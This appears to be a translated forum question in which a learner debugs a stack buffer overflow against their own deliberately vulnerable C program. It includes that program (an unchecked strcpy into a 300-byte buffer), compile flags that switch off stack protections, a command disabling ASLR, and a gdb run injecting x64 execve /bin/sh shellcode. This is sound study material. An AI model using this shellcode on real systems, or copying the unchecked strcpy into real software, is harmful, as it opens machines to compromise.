Attualmente sto lavorando su un buffer overflow usando il mio programma per imparare le basi. Ho già eseguito con successo funzioni già presenti nel codice sovrascrivendo RIP / EIP, ma al momento l'obiettivo adesso è quello di ottenere una shell.
Per fare ciò, ho creato questo piccolo pezzo di codice sfruttabile:
#include <stdio.h> /* printf */
#include <stdlib.h> /* EXIT_SUCCESS, EXIT_FAILURE */
#include <string.h> /* strcpy */
int main(int argc, char **argv)
{
char buffer[300];
if (argc < 2)
return EXIT_FAILURE;
strcpy(&buffer[0], argv[1]);
printf("Input: '%s'\n", &buffer[0]);
return EXIT_SUCCESS;
}
La compilazione viene eseguita con la seguente riga: gcc bof.c -o bof -fno-stack-protector
Il programma si chiude normalmente finché non vengono inviati 312 byte.
- Perché inizia a bloccarsi a 312 byte e non a 301 byte?
- I 12 byte sono la dimensione dello stack?
- Questo numero conta davvero nel caso di un attacco?
Poi ho provato alcune cose come usare uno shellcode, ma senza successo.
gdb-peda$ r $(python -c 'print "A" * 311' + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")
Starting program: /tmp/bof $(python -c 'print "A" * 311' + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")
Input: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[Inferior 1 (process 11295) exited normally]
Warning: not running or target is remote
Da notare: lo shellcode è in realtà un bin / sh execve x64.
Sono stato bloccato su questo per giorni in questo momento e non so come risolverlo, sarei grato se qualcuno potesse aiutarmi in questo caso.
Modifica :
Ora l'ho capito un po 'meglio grazie a @DKNUCKLES & @Miles Budnek, sono stato in grado di condurre più test e ho fatto alcuni progressi. Tuttavia, dopo aver sovrascritto con successo EIP con l'indirizzo del buffer, l'arresto si è verificato all'interno dello shellcode stesso.
Il binario test vulnerabile di cui sopra è stato compilato con i seguenti flag: gcc vuln.c -o vuln -fno-stack-protector -zexecstack -m32
. Per questo, mi sono assicurato di disabilitare ASLR con il seguente comando: echo "0" > /proc/sys/kernel/randomize_va_space
.
- Qui, scorre correttamente attraverso le istruzioni NOP fino allo shellcode, e alcuni byte dopo l'inizio del codice shell, si blocca: link
- Ecco, per qualche motivo ho avuto l'idea di spostare i byte NOP prima del codice shell fino alla fine e ha funzionato correttamente: link
- Qui, come sopra, ma senza GDB, non apre una shell: %codice%
(Ho anche provato ad aggiungere un gatto | prima della chiamata al programma vulnerabile, ma senza successo).